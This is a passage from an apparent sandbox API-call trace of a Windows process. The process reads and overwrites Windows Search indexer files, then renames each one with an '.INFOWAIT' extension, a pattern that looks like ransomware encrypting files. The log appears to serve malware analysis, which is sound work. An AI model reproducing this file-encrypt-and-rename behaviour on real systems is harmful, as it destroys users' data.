(in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002.INFOWAIT" [0130.934] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0001.002.infowait")) returned 1 [0130.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.935] GetLastError () returned 0x0 [0130.935] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.935] GetLastError () returned 0x0 [0130.935] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.935] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.935] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0130.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.936] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.936] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0130.937] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.937] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.937] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0130.937] CloseHandle (hObject=0xad4) returned 1 [0130.938] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000" [0130.938] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000.INFOWAIT" [0130.938] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.000.infowait")) returned 1 [0130.938] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.939] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.939] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.939] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.939] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.939] CloseHandle (hObject=0xad4) returned 1 [0130.940] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" [0130.940] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001.INFOWAIT" [0130.940] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.001.infowait")) returned 1 [0130.940] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.940] GetLastError () returned 0x0 [0130.940] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.940] GetLastError () returned 0x0 [0130.940] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.940] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.941] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.941] CloseHandle (hObject=0xad4) returned 1 [0130.941] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" [0130.941] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002.INFOWAIT" [0130.941] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0002.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciab0002.002.infowait")) returned 1 [0130.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.942] GetLastError () returned 0x0 [0130.942] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.942] GetLastError () returned 0x0 [0130.942] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.942] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.943] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0130.943] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.944] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.944] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0130.945] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.945] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.945] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0130.945] CloseHandle (hObject=0xad4) returned 1 [0130.945] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000" [0130.946] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000.INFOWAIT" [0130.946] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.000.infowait")) returned 1 [0130.946] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.947] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.947] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0130.947] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.947] CloseHandle (hObject=0xad4) returned 1 [0130.948] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" [0130.948] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001.INFOWAIT" [0130.948] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.001.infowait")) returned 1 [0130.948] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.948] GetLastError () returned 0x0 [0130.948] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.948] GetLastError () returned 0x0 [0130.948] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.948] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.950] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0130.950] CloseHandle (hObject=0xad0) returned 1 [0130.950] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" [0130.950] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002.INFOWAIT" [0130.950] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAD0001.002.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\ciad0001.002.infowait")) returned 1 [0130.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0130.951] GetLastError () returned 0x0 [0130.951] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0130.951] GetLastError () returned 0x0 [0130.951] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.951] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.952] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf0 [0130.952] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.952] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.952] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf0, lpOverlapped=0x0) returned 1 [0130.953] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.954] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.954] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf0, lpOverlapped=0x0) returned 1 [0130.954] CloseHandle (hObject=0xad0) returned 1 [0130.954] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000" [0130.954] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000.INFOWAIT" [0130.954] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.000.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.000.infowait")) returned 1 [0130.955] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.955] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.956] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.956] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.956] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0130.956] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.956] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.956] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0131.024] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0131.029] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.029] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0131.029] CloseHandle (hObject=0xad0) returned 1 [0131.029] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" [0131.029] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001.INFOWAIT" [0131.029] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\INDEX.001.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer\\cifiles\\index.001.infowait")) returned 1 [0131.030] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.031] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.031] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0131.031] CreateFileW (lpFileName="C:\\Users\\All 